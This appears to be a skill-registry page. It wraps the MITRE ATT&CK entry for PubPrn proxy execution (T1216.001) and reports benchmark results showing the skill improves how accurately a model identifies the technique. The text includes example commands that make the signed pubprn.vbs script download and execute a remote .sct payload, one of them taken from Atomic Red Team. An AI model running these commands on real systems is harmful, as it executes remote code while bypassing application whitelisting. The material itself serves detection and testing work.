Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →cyberstrikeus/T1216.001_pubprn
Adversaries may use PubPrn to proxy execution of malicious remote files.
Passed 19 of 22 test cases with the skill, and 11 of 22 without it.
and 6 more in the full report
8 fixed11 passed either way3 still failing0 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 8 test cases the skill fixed. Same model, same prompt, with and without the skill.
When filing an incident report for an adversary abusing PubPrn.vbs to bypass application whitelisting, which parent ATT&CK technique ID and sub-technique ID should be assigned?
| Checked | Without skill | With skill |
|---|---|---|
| Identifies T1216 as the parent MITRE ATT&CK technique ID | Passed | Passed |
| Identifies T1216.001 as the sub-technique ID | Missed | Passed |
The instructions your model reads when the skill loads.
Sub-technique of: T1216
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
Platforms: Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
Supported Platforms: windows
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
test cases passed, vs 11 / 22 without
Published skills whose descriptions closely match this one, with their headline benchmark lift.
More skills from the same source and nearby in the registry, with their headline benchmark lift.